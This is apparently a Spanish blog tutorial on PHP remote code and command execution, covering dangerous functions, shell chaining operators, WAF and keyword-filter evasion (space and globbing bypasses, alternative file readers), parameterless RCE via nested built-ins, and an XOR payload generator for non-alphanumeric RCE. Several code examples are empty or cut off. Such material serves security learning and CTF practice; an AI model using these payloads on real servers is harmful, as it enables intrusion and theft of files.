Vulnerabilidades de Ejecución de Comandos y Código en PHP

Las vulnerabilidades de ejecución remota de comandos (RCE) ocurren cuando una aplicación no filtra adecuadamente las entradas del usuario, permitiendo que un atacante inyecte y ejecute comandos arbitrarios en el sistema operativo o código en el contexto del intérprete de lenguaje (como PHP).

1. Ejecución de Código PHP

Existen funciones específicas en PHP diseñadas para evaluar cadenas como código ejecutable. Si el control sobre estas funciones es insuficiente, la seguridad del servidor se ve comprometida.

  • eval(): Evalúa una cadena de texto como código PHP. ```
  • assert(): Similar a eval, pero diseñada para depuración. En versiones anteriores a PHP 7, si se pasa una cadena, se ejecuta como código. ``` assert("phpinfo()");
  • Invocación Dinámica (call_user_func): Permite llamar a funciones de forma dinámica. ```
  • Inyección en create_function(): Esta función crea una función anónima (lambda). Si se controla el segundo argumento, se puede cerrar la estructura de la función orignial y ejecutar código propio. ```
    
    

2. Ejecución de Comandos de Sistema

PHP ofrece funciones para interactuar directamente con el shell del sistema operativo.

  • system(): Ejecuta un comando y muestra la salida directamente. ```
  • exec(): Ejecuta un comando pero solo devuelve la última línea de la salida. ```
  • shell_exec() y Operador Backtick (``): Ejecutan comandos y devuelven la salida completa como una cadena. ```
    
    

3. Conectores de Comandos

En entornos tipo Unix y Windows, se pueden enacdenar múltiples comandos utilizando operadores especiales:

Operador Comportamiento
; Ejecuta comandos secuencialmente (solo Linux).
& Ejecuta el primer comando en segundo plano y continúa con el segundo.
&& Ejecuta el segundo comando solo si el primero tuvo éxito.
| Pasa la salida del primero al segundo comando.
|| Ejecuta el segundo comando solo si el primero falla.

4. Técnicas de Evasión de Filtros

Cuando existen firewalls de aplicaciones web (WAF) o filtros de palabras clave, se utilizan diversas técnicas para evadir la detección.

Evasión de Espacios

Si el carácter de espacio está prohibido, se pueden usar alternativas:

cat${IFS}flag.php
cat<flag.php
{cat,flag.php}
%09 (Tabulación en URL)

Evasión de Nombres de Archivos (Globbing)

Uso de comodines para evitar escribir palabras como "flag":

cat f[l]ag.php
cat f?ag.p*
cat fl''ag.php
cat fl""ag.php

Comandos Alternativos para Lectura

Si cat está bloqueado, existen otras utilidades:

tac flag.php (lee al revés)
more flag.php
tail flag.php
head flag.php
nl flag.php (con números de línea)
base64 flag.php (codifica el contenido)

5. Escenarios de Explotación Avanzada

RCE sin Parámetros

En situaciones donde la expresión regular solo permite funciones sin argumentos (ej. /[a-z_]+\(\)/), se deben anidar funciones integradas de PHP para manipular el puntero del sistema de archivos.

// Lee el contenido del directorio actual
print_r(scandir(pos(localeconv())));

// Lee el último archivo del directorio
show_source(end(scandir(pos(localeconv()))));

RCE no Alfanumérico

Si se filtran todas las letras y números, se pueden reconstruir comandos mediante operaciones bit a bit como XOR (^) o NOT (~) utilizando caracteres especiales.

Ejemplo de generación de payload mediante XOR en PHP:

<?php
$objetivo = "system";
$xor_res = "";
for ($i = 0; $i < strlen($objetivo); $i++) {
    $xor_res .= "%" . dechex(ord($objetivo[$i]) ^ 0xff);
}
echo $xor_res . "^" . str_repeat("%ff", strlen($objetivo));
// Salida: %8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff
?>

Este payload permite ejecutar funciones sin necesidad de que las letras aparezcan literalmente en la solicitud HTTP original.

Etiquetas: rce PHP-Security Web-Exploitation Command-Injection penetration-testing

Publicado el 7-21 18:01